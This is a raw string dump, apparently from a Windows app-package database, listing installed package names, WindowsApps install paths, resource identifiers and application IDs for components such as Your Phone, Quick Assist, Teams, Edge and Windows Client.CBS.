Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-125_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-125_8wekyb3d8bbwe ms-resource://Microsoft.YourPhone/YourPhone/Resources/AppName PackageFamily\63\bf PackageFullName\Microsoft.YourPhone_0.25062.84.0_neutral_split.scale-125_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe PackageFamily\64\c0 PackageFullName\Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe ms-resource:AppStoreName PackageFamily\64\c1 PackageFullName\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-100_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-100_8wekyb3d8bbwe ms-resource:AppStoreName PackageFamily\64\c2 PackageFullName\Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-125_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-125_8wekyb3d8bbwe ms-resource:AppStoreName PackageFamily\64\c3 PackageFullName\Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-125_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe C:\Program Files\WindowsApps\MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe PackageFamily\65\c4 PackageFullName\MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2.0.35.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\MicrosoftCorporationII.QuickAssist_2.0.35.0_x64__8wekyb3d8bbwe ms-resource://MicrosoftCorporationII.QuickAssist/resources/APP_WINDOW_NAME PackageFamily\65\c5 PackageFullName\MicrosoftCorporationII.QuickAssist_2.0.35.0_x64__8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2.0.35.0_neutral_split.scale-100_8wekyb3d8bbwe C:\Program Files\WindowsApps\MicrosoftCorporationII.QuickAssist_2.0.35.0_neutral_split.scale-100_8wekyb3d8bbwe ms-resource://MicrosoftCorporationII.QuickAssist/resources/APP_WINDOW_NAME PackageFamily\65\c6 PackageFullName\MicrosoftCorporationII.QuickAssist_2.0.35.0_neutral_split.scale-100_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2.0.35.0_neutral_split.scale-125_8wekyb3d8bbwe C:\Program Files\WindowsApps\MicrosoftCorporationII.QuickAssist_2.0.35.0_neutral_split.scale-125_8wekyb3d8bbwe ms-resource://MicrosoftCorporationII.QuickAssist/resources/APP_WINDOW_NAME PackageFamily\65\c7 PackageFullName\MicrosoftCorporationII.QuickAssist_2.0.35.0_neutral_split.scale-125_8wekyb3d8bbwe MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy PackageFamily\67\ca PackageFullName\MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName PackageFamily\67\cb PackageFullName\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName PackageFamily\67\cc PackageFullName\MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName PackageFamily\67\cd PackageFullName\MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe Microsoft Teams C:\Program Files\WindowsApps\Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft Edge PackageFamily\2f\d0 PackageFullName\Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe Outlook for Windows PackageFam C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy PackageFamily\66\db PackageFullName\MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy Windows Web Experience Pack PackageFamily\66\dc PackageFullName\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe WindowsAppRuntime.1.8 PackageFamily\6a\dd PackageFullName\Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe WindowsAppRuntime.1.7 PackageFamily\69\de PackageFullName\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe WindowsAppRuntime.1.6 PackageFamily\37\df PackageFullName\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe WindowsAppRuntime.1.6 PackageFamily\37\e0 PackageFullName\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe WindowsAppRuntime.1.7 PackageFamily\69\e1 PackageFullName\Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwe PackageFamily\6c\e4 PackageFullName\Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwe Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe ms-resource:PackageDisplayName PackageFamily\6c\e5 PackageFullName\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe WindowsAppRuntime.1.5 PackageFamily\4e\eb PackageFullName\Microsoft.ScreenSketch_2022.2511.47.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe ms-resource:AppStoreName PackageFamily\4e\ec PackageFullName\Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe Microsoft.ScreenSketch_11.2511.47.0_neutral_split.scale-100_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_neutral_split.scale-100_8wekyb3d8bbwe ms-resource:AppStoreName PackageFamily\4e\ed PackageFullName\Microsoft.ScreenSketch_11.2511.47.0_neutral_split.scale-100_8wekyb3d8bbwe Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe PackageFamily\5d\ee PackageFullName\Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe Package\1\1 PackageAndPackageRelativeApplicationId\1^Microsoft.Windows.FilePicker c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy!App FileExplorer.exe FileExplorer.App Package\2\2 PackageAndPackageRelativeApplicationId\2^App Microsoft.Windows.AppResolverUX E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUX Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe ms-resource:PackageDisplayName PackageFamily\4f\f1 PackageFullName\Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe Microsoft.Windows.FilePicker 1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePicker FilePicker.exe FilePicker.App Package\10\11 PackageAndPackageRelativeApplicationId\10^App Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App CapturePicker.exe CapturePicker.App Package\1b\1b PackageAndPackageRelativeApplicationId\1b^App Package\12\12 PackageAndPackageRelativeApplicationId\12^App Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App default.html Package\13\13 PackageAndPackageRelativeApplicationId\13^App Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App Package\14\14 PackageAndPackageRelativeApplicationId\14^App Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App NarratorQuickStart.exe NarratorQuickStart.App Package\15\15 PackageAndPackageRelativeApplicationId\15^App Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!App OOBENetworkCaptivePortal.exe OOBENetworkCaptivePortal.App Package\16\16 PackageAndPackageRelativeApplicationId\16^App Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!App OOBENetworkConnectionFlow.exe OOBENetworkConnectionFlow.App Package\17\17 PackageAndPackageRelativeApplicationId\17^App Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App WpcUapApp.exe WpcUapApp.App Package\18\18 PackageAndPackageRelativeApplicationId\18^App Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App PeopleExperienceHost.exe PeopleExperienceHost.App Package\19\19 PackageAndPackageRelativeApplicationId\19^App Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App PinningConfirmationDialog.exe PinningConfirmationDialog.App Package\1a\1a PackageAndPackageRelativeApplicationId\1a^App Global.VoiceAccessHost Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App PrintQueueActionCenter.exe PrintQueueActionCenter.App Package\25\29 PackageAndPackageRelativeApplicationId\25^Global.VoiceAccessHost Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App SecureAssessmentBrowser.exe Management.SecureAssessment.Browser.App Package\1c\1c PackageAndPackageRelativeApplicationId\1c^App Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App ShellExperienceHost.exe ShellExperienceHost.App Package\1d\1d PackageAndPackageRelativeApplicationId\1d^App FullTrustApp Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustApp ShellExperienceHost.exe ShellExperienceHost.App Package\1d\1e PackageAndPackageRelativeApplicationId\1d^FullTrustApp Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!App StartMenuExperienceHost.exe StartMenuExperienceHost.App Package\1e\1f PackageAndPackageRelativeApplicationId\1e^App FullTrustApp Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp StartMenuExperienceHost.exe StartMenuExperienceHost.App Package\1e\20 PackageAndPackageRelativeApplicationId\1e^FullTrustApp Microsoft.Windows.XGpuEjectDialog Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialog XGpuEjectDialog.exe XGpuEjectDialog.App Package\1f\21 PackageAndPackageRelativeApplicationId\1f^Microsoft.Windows.XGpuEjectDialog Microsoft.XboxGameCallableUI Microsoft.XboxGameCallableUI_cw5n1h2txyewy!Microsoft.XboxGameCallableUI XBox.TCUI.exe XBox.TCUI.App Package\22\22 PackageAndPackageRelativeApplicationId\22^Microsoft.XboxGameCallableUI PackageMetadata MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\23\23 PackageAndPackageRelativeApplicationId\23^PackageMetadata Global.SystemTray MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray http://microsoft.com Package\23\24 PackageAndPackageRelativeApplicationId\23^Global.SystemTray Global.Taskbar MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbar http://microsoft.com Package\23\25 PackageAndPackageRelativeApplicationId\23^Global.Taskbar PackageMetadata MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\24\26 PackageAndPackageRelativeApplicationId\24^PackageMetadata Global.SpeechSynthesizerExtension MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtension http://microsoft.com Package\24\27 PackageAndPackageRelativeApplicationId\24^Global.SpeechSynthesizerExtension PackageMetadata MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\25\28 PackageAndPackageRelativeApplicationId\25^PackageMetadata Global.FeatureDiscoverability InputApp MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHost http://microsoft.com Package\28\3e PackageAndPackageRelativeApplicationId\28^Global.FeatureDiscoverability Global.SpeechRecognizerExtension MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtension http://microsoft.com Package\25\2a PackageAndPackageRelativeApplicationId\25^Global.SpeechRecognizerExtension Global.VoiceAccessPlugin MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPlugin http://microsoft.com Package\25\2b PackageAndPackageRelativeApplicationId\25^Global.VoiceAccessPlugin PackageMetadata MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\26\2c PackageAndPackageRelativeApplicationId\26^PackageMetadata Global.LiveCaptionsDesktop MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktop http://microsoft.com Package\26\2d PackageAndPackageRelativeApplicationId\26^Global.LiveCaptionsDesktop PackageMetadata MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\27\2e PackageAndPackageRelativeApplicationId\27^PackageMetadata InputApp MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputApp TextInputHost.exe WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.App Package\27\2f PackageAndPackageRelativeApplicationId\27^InputApp Global.TextInputExtensions MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensions http://microsoft.com Package\27\30 PackageAndPackageRelativeApplicationId\27^Global.TextInputExtensions PackageMetadata MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\28\31 PackageAndPackageRelativeApplicationId\28^PackageMetadata Global.AccountDialog MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog http://microsoft.com Package\28\32 PackageAndPackageRelativeApplicationId\28^Global.AccountDialog Global.Accounts MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts http://microsoft.com Package\28\33 PackageAndPackageRelativeApplicationId\28^Global.Accounts ActionRuntime MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime AppActions.exe Windows.FullTrustApplication Package\28\34 PackageAndPackageRelativeApplicationId\28^ActionRuntime Global.ActionUI MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI http://microsoft.com Package\28\35 PackageAndPackageRelativeApplicationId\28^Global.ActionUI Global.ActionUI.Common MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common http://microsoft.com Package\28\36 PackageAndPackageRelativeApplicationId\28^Global.ActionUI.Common CrossDeviceResumeApp MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp CrossDeviceResume.exe Windows.FullTrustApplication Package\28\37 PackageAndPackageRelativeApplicationId\28^CrossDeviceResumeApp Global.DesktopSpotlight MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight http://microsoft.com Package\28\38 PackageAndPackageRelativeApplicationId\28^Global.DesktopSpotlight Global.DesktopStickerEditor MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor http://microsoft.com Package\28\39 PackageAndPackageRelativeApplicationId\28^Global.DesktopStickerEditor DesktopStickerEditorCentennial MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial DesktopStickerEditorWin32Exe\DesktopStickerEditorWin32Exe.exe Windows.FullTrustApplication Package\28\3a PackageAndPackageRelativeApplicationId\28^DesktopStickerEditorCentennial DiscoveryHub MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHub DiscoveryHubApp.exe Windows.FullTrustApplication Package\28\3b PackageAndPackageRelativeApplicationId\28^DiscoveryHub DiscoveryHubWidgetHost MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHost DiscoveryHubApp.exe Windows.FullTrustApplication Package\28\3c PackageAndPackageRelativeApplicationId\28^DiscoveryHubWidgetHost Global.DragTray MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray http://microsoft.com Package\28\3d PackageAndPackageRelativeApplicationId\28^Global.DragTray http://microsoft.com MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup http://microsoft.com Package\2a\5d PackageAndPackageRelativeApplicationId\2a^Global.AppListBackup Global.BackupBanner MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp TextInputHost.exe WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.App Package\28\3f PackageAndPackageRelativeApplicationId\28^InputApp Global.TextInputExtensions MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions http://microsoft.com Package\28\40 PackageAndPackageRelativeApplicationId\28^Global.TextInputExtensions Global.IrisService MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService http://microsoft.com Package\28\41 PackageAndPackageRelativeApplicationId\28^Global.IrisService Global.PeopleExperiencePlatform MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform http://microsoft.com Package\28\42 PackageAndPackageRelativeApplicationId\28^Global.PeopleExperiencePlatform Global.PeopleWidget MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget http://microsoft.com Package\28\43 PackageAndPackageRelativeApplicationId\28^Global.PeopleWidget Global.PersonaCardManager MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager http://microsoft.com Package\28\44 PackageAndPackageRelativeApplicationId\28^Global.PersonaCardManager Global.WindowsPersonaCard MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard http://microsoft.com Package\28\45 PackageAndPackageRelativeApplicationId\28^Global.WindowsPersonaCard Global.RulesEngine MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine http://microsoft.com Package\28\46 PackageAndPackageRelativeApplicationId\28^Global.RulesEngine CortanaUI MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI CortanaUI.App SearchHost.exe Package\28\47 PackageAndPackageRelativeApplicationId\28^CortanaUI CortanaUIFullTrustApp MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp CortanaUI.App SearchHost.exe Package\28\48 PackageAndPackageRelativeApplicationId\28^CortanaUIFullTrustApp FESearchUI MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI CortanaUI.App FESearchHost.exe Package\28\49 PackageAndPackageRelativeApplicationId\28^FESearchUI SoftLanding MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding SoftLandingTask\SoftLandingTask.exe Windows.FullTrustApplication Package\28\4a PackageAndPackageRelativeApplicationId\28^SoftLanding VisualAssist MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssist VisualAssistExe.exe Windows.FullTrustApplication Package\28\4b PackageAndPackageRelativeApplicationId\28^VisualAssist WebExperienceHost MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost WebExperienceHostApp.exe WebExperienceHostApp.App Package\28\4c PackageAndPackageRelativeApplicationId\28^WebExperienceHost Global.WidgetDataModel MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModel http://microsoft.com Package\28\4d PackageAndPackageRelativeApplicationId\28^Global.WidgetDataModel Global.WidgetPicker MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPicker http://microsoft.com Package\28\4e PackageAndPackageRelativeApplicationId\28^Global.WidgetPicker Global.WidgetViewWinUI3 MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3 http://microsoft.com Package\28\4f PackageAndPackageRelativeApplicationId\28^Global.WidgetViewWinUI3 Global.LockCanvas MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvas http://microsoft.com Package\28\50 PackageAndPackageRelativeApplicationId\28^Global.LockCanvas Global.WidgetViewUWP MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP http://microsoft.com Package\28\51 PackageAndPackageRelativeApplicationId\28^Global.WidgetViewUWP WindowsBackup MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup WindowsBackupClient.exe WindowsBackup.App Package\28\52 PackageAndPackageRelativeApplicationId\28^WindowsBackup Global.WindowsMigration MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsMigration $targetnametoken$.exe WindowsMigration.App Package\28\53 PackageAndPackageRelativeApplicationId\28^Global.WindowsMigration Global.WindowsPeopleExperience MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience http://microsoft.com Package\28\54 PackageAndPackageRelativeApplicationId\28^Global.WindowsPeopleExperience Global.wsw MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw http://microsoft.com Package\28\55 PackageAndPackageRelativeApplicationId\28^Global.wsw PackageMetadata MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\29\56 PackageAndPackageRelativeApplicationId\29^PackageMetadata aicontext MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontext aicontext.exe $targetentrypoint$ Package\29\57 PackageAndPackageRelativeApplicationId\29^aicontext ClickToDoApp ClickToDo.exe MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoApp Windows.FullTrustApplication Package\29\58 PackageAndPackageRelativeApplicationId\29^ClickToDoApp Global.ModelManagementUX MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX http://microsoft.com Package\29\59 PackageAndPackageRelativeApplicationId\29^Global.ModelManagementUX Global.DiscoveryOverlay MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay http://microsoft.com Package\29\5a PackageAndPackageRelativeApplicationId\29^Global.DiscoveryOverlay Global.Feedback MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback http://microsoft.com Package\29\5b PackageAndPackageRelativeApplicationId\29^Global.Feedback PackageMetadata MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\2a\5c PackageAndPackageRelativeApplicationId\2a^PackageMetadata Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe!App Global.AppListBackup Package\6c\8e PackageAndPackageRelativeApplicationId\6c^App PAD.Console Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe!PAD.Console dotnet\PAD.Console.Host.exe Windows.FullTrustApplication http://microsoft.com Package\2a\5e PackageAndPackageRelativeApplicationId\2a^Global.BackupBanner Global.LiveCaptionsDesktop MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop http://microsoft.com Package\2a\5f PackageAndPackageRelativeApplicationId\2a^Global.LiveCaptionsDesktop LogonWebHost MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost LogonWebHostProduct.exe LogonWebHost.App Package\2a\60 PackageAndPackageRelativeApplicationId\2a^LogonWebHost Global.MicrosoftGraphRecentItemsManager MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager http://microsoft.com Package\2a\61 PackageAndPackageRelativeApplicationId\2a^Global.MicrosoftGraphRecentItemsManager ScreenClipping MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClipping ScreenClippingHost.exe ScreenClippingHost.App Package\2a\62 PackageAndPackageRelativeApplicationId\2a^ScreenClipping SettingsModelService MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelService http://microsoft.com Package\2a\63 PackageAndPackageRelativeApplicationId\2a^SettingsModelService Global.SnapLayout MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout http://microsoft.com Package\2a\64 PackageAndPackageRelativeApplicationId\2a^Global.SnapLayout Global.SpeechSynthesizerExtension MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension http://microsoft.com Package\2a\65 PackageAndPackageRelativeApplicationId\2a^Global.SpeechSynthesizerExtension Global.StartMenu MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenu http://microsoft.com Package\2a\66 PackageAndPackageRelativeApplicationId\2a^Global.StartMenu Global.FamilyValueProp MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp http://microsoft.com Package\2a\67 PackageAndPackageRelativeApplicationId\2a^Global.FamilyValueProp Global.ValueBanner MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBanner http://microsoft.com Package\2a\68 PackageAndPackageRelativeApplicationId\2a^Global.ValueBanner Global.SystemTray MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray http://microsoft.com Package\2a\69 PackageAndPackageRelativeApplicationId\2a^Global.SystemTray Global.Taskbar MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbar http://microsoft.com Package\2a\6a PackageAndPackageRelativeApplicationId\2a^Global.Taskbar Global.TwinSxS MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS http://microsoft.com Package\2a\6b PackageAndPackageRelativeApplicationId\2a^Global.TwinSxS Global.VoiceAccessHost MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHost http://microsoft.com Package\2a\6c PackageAndPackageRelativeApplicationId\2a^Global.VoiceAccessHost Global.SpeechRecognizerExtension MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtension http://microsoft.com Package\2a\6d PackageAndPackageRelativeApplicationId\2a^Global.SpeechRecognizerExtension Global.VoiceAccessPlugin MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPlugin http://microsoft.com Package\2a\6e PackageAndPackageRelativeApplicationId\2a^Global.VoiceAccessPlugin PackageMetadata MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\2b\6f PackageAndPackageRelativeApplicationId\2b^PackageMetadata Global.FileExplorerExtensions MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions http://microsoft.com Package\2b\70 PackageAndPackageRelativeApplicationId\2b^Global.FileExplorerExtensions PackageMetadata 